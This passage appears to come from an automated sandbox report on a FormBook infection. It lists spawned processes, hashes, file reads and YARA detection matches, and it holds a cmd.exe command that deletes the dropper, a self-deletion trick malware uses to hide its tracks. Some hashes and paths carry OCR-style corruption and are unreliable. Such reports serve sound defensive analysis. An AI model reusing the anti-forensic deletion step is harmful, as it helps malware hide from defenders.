C:\Users\user\AppData\Local\Temp\tmpF65F.tmp unknown 2 success or wait 1 EAB22 ReadFile
C:\Users\user\AppData\Local\Temp\tmpF65F.tmp unknown 1647 success or wait 1 EABD9 ReadFile
Analysis Process: conhost.exe PID: 4552 Parent PID: 5856
General
Start time: 21:03:39
Start date: 13/01/2021
Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

Copyright null 2021

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1

0x7ff6b2800000
625664 bytes

EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

high
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Analysis Process: vhc.exe PID: 4116 Parent PID: 5816

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

21:03:40

13/01/2021

C:\Windows\Microsoft. NET\Framework\v4.0.30319\vbc.exe
false

{path}

0x8a0000

2688096 bytes

B3A917344F5610BEEC562556F11300FA

true

true

C, C++ or other language

Reputation: moderate
Analysis Process: vhc.exe PID: 5800 Parent PID: 5816
General
Start time: 21:03:41
Start date: 13/01/2021
Path: C:\Windows\Microsoft. NET\Framework\v4.0.30319\vbc.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

Reputation:

File Activities

File Read

Copyright null 2021

true

{path}

0x8a0000

2688096 bytes
B3A917344F5610BEEC562556F11300FA
true

true

C, C++ or other language

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000005.00000002.275625455.0000000004BC0000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000005.00000002.275625455.0000000004BC0000.00000040.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000005.00000002.275625455.0000000004BC0000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000005.00000002.275355195.0000000000400000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000005.00000002.275355195.0000000000400000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000005.00000002.275355195.0000000000400000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000005.00000002.275608488.0000000004B90000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000005.00000002.275608488.0000000004B90000.00000040.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000005.00000002.275608488.0000000004B90000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

moderate
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Source

File Path Offset Length Completion Count Address Symbol

C:\Windows\SysWOWe64\ntdll.dll 0 1622408 success or wait 1 4182B7 NtReadFile
Analysis Process: explorer.exe PID: 3388 Parent PID: 5800

General

Start time: 21:03:44

Start date: 13/01/2021

Path: C:\Windows\explorer.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

0x7ff714890000

3933184 bytes
AD5296B280E8F522A8A897C96BABOELD

true

true

C, C++ or other language

Reputation: high
File Activities
Source
File Path Offset Length Completion Count Address Symbol
Analysis Process: control.exe PID: 3448 Parent PID: 3388
General
Start time: 21:03:56
Start date: 13/01/2021
Path: C:\Windows\SysWOW64\control.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

Copyright null 2021

true

C:\Windows\SysWOW64\control.exe
0xb80000

114688 bytes
40FBA3FBFD5E33EODE1BA45472FDAGGF

true

true

C, C++ or other language

.

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000008.00000002.572301270.0000000003250000.00000004.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000008.00000002.572301270.0000000003250000.00000004.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000008.00000002.572301270.0000000003250000.00000004.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000008.00000002.572093370.0000000003220000.00000040.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000008.00000002.572093370.0000000003220000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000008.00000002.572093370.0000000003220000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000008.00000002.571950097.00000000030F0000.00000040.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000008.00000002.571950097.00000000030F0000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000008.00000002.571950097.00000000030F0000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group
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Reputation: moderate
File Activities
File Read
Source
File Path Offset Length Completion Count Address Symbol
C:\Windows\SysWOWe64\ntdll.dll 0 1622408 success or wait 1 31082B7 NtReadFile
Analysis Process: cmd.exe PID: 5864 Parent PID: 3448
General
Start time: 21:04:00
Start date: 13/01/2021
Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

true

/c del 'C:\Windows\Microsoft. NET\Framework\v4.0.30319\vbc.exe'

0x200000

232960 bytes
F3BDBE3BB6F734E357235F4D5898582D
true

true

C, C++ or other language

Reputation: high
File Activities
Source
File Path Attributes Options Completion Count Address Symbol
Analysis Process: conhost.exe PID: 6100 Parent PID: 5864
General
Start time: 21:04:01
Start date: 13/01/2021
Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

Disassembly

Code Analysis

Copyright null 2021

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff6b2800000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

high
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